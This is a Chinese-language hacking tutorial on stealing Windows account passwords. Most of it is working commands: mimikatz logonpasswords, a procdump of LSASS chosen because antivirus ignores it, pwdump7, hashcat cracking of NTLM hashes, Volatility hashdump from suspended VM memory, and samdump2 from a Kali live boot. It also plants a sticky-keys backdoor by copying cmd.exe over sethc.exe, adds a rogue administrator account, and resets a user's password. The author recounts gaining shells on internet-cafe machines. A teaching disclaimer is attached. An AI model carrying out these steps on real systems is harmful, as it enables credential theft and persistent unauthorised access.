Windows 密码抓取方式总结
在进行渗透测试时,我们常常需要获取管理员的账号密码,以便进行进一步的操作。下面我将总结几种窃取账号的方法!其中可能涉及到APT的内容,希望大家会喜欢。【本教程具有一定攻击性,仅限于教学使用,不得用于其他用途】
0x01. 利用mimikatz获取明文密码
实验环境:Windows 10(Win 10中有Defender会杀掉我们的mimikatz,关掉就好)mimikatz_trunk
实验步骤:
- 首先用管理员账号运行cmd.exe,这样才能让mimikatz正常运行 :)
- 紧接着再进入mimikatz,运行命令privilege::debug sekurlsa::logonpasswords
- 此时我们就能得到username和password的密文,给大家推荐一个网站:这里可以很容易地解密大多数密文
0x02. 利用procdump和mimikatz获取密码
实验环境:Windows 7procdump mimikatz_trunk
实验步骤:
- 首先用procdump下载LSASS进程的内存,因为procdump是Microsoft Sysinternals tools中的工具,所以AV是不会查杀它的(记住用管理员运行cmd) C:\Users\times0ng\Desktop\Procdump\procdump.exe -accepteula -ma lsass.exe C:\Users\times0ng\Desktop\lsass.dmp
- 接着用mimikatz打开dmp文件,获取内存中的内容(lsass.dmp可以下载到我们本地主机再查看里面的内容,相当于离线模式) C:\Users\times0ng\Desktop\mimikatz_trunk\x64\mimikatz.exe sekurlsa::minidump C:\Users\time0sng\Desktop\lsass.dmp sekurlsa::tspkg
0x03. 利用pwdump7获取密码
实验环境:Windows 7pwdump7
实验步骤:
- 直接用管理员运行cmd,再运行pwdump7.exe
- 用hashcat直接跑NTLM密码 hashcat -m 1000 AFC44EE7351D61D00698796DA06B1EBF /usr/share/wordlists/sqlmap.txt --force
0x04. 利用虚拟机文件获取密码
关于如何用工具直接获取密码就介绍到这里,其实还不止以上这些工具可以帮助我们达到目的,例如:PowerMemory、quarks、pwdump等都是不错的工具。不过我觉得以上介绍的已经足够大家使用,贪多嚼不烂。下面我将介绍其他不同于上述的方法获取hash密码!
接下来我们将获取Windows 7虚拟机中的账号密码,首先需要将虚拟机挂起,这样才能产生.vmss和.vmem文件!这两个文件主要用来获取内存数据的。如果用其他工具能够获取内存数据的话,完全可以不用这两个文件,例如:Memoryze、DumpIt。
实验环境:Windows 7挂起状态Vmss2core、Volatility
实验步骤:
- 运行Vmss2core解析虚拟机文件,生成memory.dmp文件 ./vmss2core-mac64 -W /Users/apple1/Documents/Virtual\ Machines.localized/Windows\ 7\ x64.vmwarevm/Windows\ 7\ x64-89925192.vmss /Users/apple1/Documents/Virtual\ Machines.localized/Windows\ 7\ x64.vmwarevm/Windows\ 7\ x64-89925192.vmem
- 利用大神级取证工具Volatility获取SYSTEM和SAM的虚拟地址,--profile=Win7SP1x64架构一定要指定正确,不然会找不到地址 ./volatility2.6mac64standalone/volatility2.6mac64standalone hivelist -f memory.dmp --profile=Win7SP1x64
- 接下来要做的就是获取对应地址的数据了,记住sys-offset和sam-offset指定的都是虚拟地址,别乱指什么物理地址。可以看到我这里有两个用户账号,它们的NTML hash都被我拿到了,随便找点工具解密就行了,上面也讲过hashcat解密! ./volatility2.6mac64standalone/volatility2.6mac64standalone hashdump -f memory.dmp --profile=Win7SP1x64 sys-offset=0xfffff8a000024010 sam-offset=0xfffff8a000b33010
0x05. 利用Kali ISO获取密码
这是我最喜欢使用的方法,也是最早掌握的方法。说个题外话:当初我还利用这个方法在网吧免费上网,甚至因为网吧的局域网Win7环境我还拿到几台肉鸡shell,不过只是玩玩没干坏事。
在开始之前,我们应该先准备一个USB启动盘,制作方法可以看我以前的文章:安装KVM入坑笔记。不过我现在只是为了演示一下效果,就直接使用VM虚拟机插入ISO文件模拟USB启动盘。
实验环境:Windows 10、Kali ISO(下载地址)
实验步骤:
- 首先将Kali ISO镜像文件映射到Win10虚拟机中(如果你是用USB启动盘插入物理机的话,需要先进入BIOS引导界面,然后修改启动顺序,将USB放到硬盘之前)
- 然后启动Win10,就会进入Kali的引导界面,我们点击Live (amd 64)即可
- 进入Kali之后,先查看Win10在哪个硬盘(一般就是大小最大的那个盘),然后将其挂载到/mnt目录下,之后对/mnt目录下的操作就相当于对Win10进行操作了 fdisk -l && mount /dev/sda2 /mnt && cd /mnt/
- 挂载完之后,我们先盗取账号密码【Win10果然更安全了,居然显示是空密码,这显然不是我们要的结果,第二张图附上Win7的效果图】 cd /mnt/Windows/System32/config/ && samdump2 SYSTEM SAM hashcat -m 1000 afc44ee7351d61d00698796da06b1ebf /usr/share/wordlists/sqlmap.txt --force
- 虽然Win10密码安全性加强了,但并不阻碍我们进行其他操作。下面我们使用经典的Shift提权技术来完成进一步操作。上一篇Windows提权基础讲漏了,这里补上 cd /mnt/Windows/System32/ cp cmd.exe sethc.exe
- 现在需要做的就是关闭Kali,将映射到Win10的ISO移除,然后启动Win10。可以看到登录界面,此时我们连续快速地多次按Shift键就能弹出命令行
- 我们的权限这么大,想必添加个管理员账号什么的也不成问题。下面我添加个test管理员账号,然后登录。一进去就碰到Win10给我各种Hi,看得我一脸懵逼 net user test test /add net localgroup administrators /add test logoff
- 刚才我们没能抓到Win10的hash,但是如果我们仍然想登录times0ng账号的话,可以先用命令行修改密码,然后再登录。【很尴尬,自己的ID都敲错了】 net user time0sng toor